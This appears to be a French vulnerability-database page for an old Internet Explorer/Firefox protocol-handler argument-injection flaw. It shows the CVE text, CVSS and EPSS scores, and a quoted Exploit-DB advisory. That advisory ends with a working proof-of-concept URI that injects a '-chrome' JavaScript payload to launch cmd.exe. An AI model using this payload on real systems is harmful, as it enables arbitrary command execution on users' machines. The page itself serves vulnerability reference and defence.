CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Argument injection vulnerability in Microsoft Internet Explorer, when running on systems with Firefox installed and certain URIs registered, allows remote attackers to conduct cross-browser scripting attacks and execute arbitrary commands via shell metacharacters in a (1) FirefoxURL or (2) FirefoxHTML URI, which are inserted into the command line that is created when invoking firefox.exe. NOTE: it has been debated as to whether the issue is in Internet Explorer or Firefox. As of 20070711, it is CVE's opinion that IE appears to be failing to properly delimit the URL argument when invoking Firefox, and this issue could arise with other protocol handlers in IE as well. However, Mozilla has stated that it will address the issue with a "defense in depth" fix that will "prevent IE from sending Firefox malicious data."
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
4.3
AV:N/AC:M/Au:N/C:N/I:P/A:N
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
46.11%
–
–
2023-03-12
–
–
–
14.81%
–
2023-04-02
–
–
–
18.28%
–
2023-05-07
–
–
–
22.61%
–
2023-06-11
–
–
–
28.87%
–
2023-07-16
–
–
–
26.28%
–
2023-08-27
–
–
–
27.74%
–
2023-10-01
–
–
–
30.9%
–
2023-11-05
–
–
–
32.34%
–
2023-12-17
–
–
–
31.94%
–
2024-01-21
–
–
–
34.29%
–
2024-03-03
–
–
–
27.5%
–
2024-04-07
–
–
–
22.82%
–
2024-06-02
–
–
–
35.73%
–
2024-06-23
–
–
–
51.16%
–
2024-07-28
–
–
–
57.16%
–
2024-10-13
–
–
–
52.94%
–
2024-12-08
–
–
–
54.77%
–
2024-12-22
–
–
–
71.73%
–
2025-01-19
–
–
–
71.15%
–
2025-03-16
–
–
–
66.28%
–
2025-01-19
–
–
–
71.15%
–
2025-03-18
–
–
–
–
49.81%
2025-03-18
–
–
–
–
49.81,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2007-07-09 22h00 +00:00 Auteur : Thor Larholm EDB Vérifié : Yes
source: https://www.securityfocus.com/bid/24837/info
Microsoft Internet Explorer, Mozilla Firefox and Netscape Navigator are prone to a vulnerability that lets attackers inject commands through the 'firefoxurl' and 'navigatorurl' protocol handlers.
Exploiting these issues allows remote attackers to pass and execute arbitrary commands and arguments through the 'firefox.exe' and 'navigator.exe' processes by employing the 'firefoxurl' and 'navigatorurl' handlers.
An attacker can also employ these issues to carry out cross-browser scripting attacks by using the '-chrome' argument. This can allow the attacker to run JavaScript code with the privileges of trusted Chrome context and gain full access to Firefox and Netscape Navigator's resources.
Exploiting these issues would permit remote attackers to influence command options that can be called through the 'firefoxurl' and 'navigatorurl' handlers and therefore execute commands and script code with the privileges of a user running the applications. Successful attacks may result in a variety of consequences, including remote unauthorized access.
navigatorurl:test"%20-chrome%20"javascript:C=Components.classes;I=Components.interfaces;file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+String.fromCharCode(92)+'cmd.exe');process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process)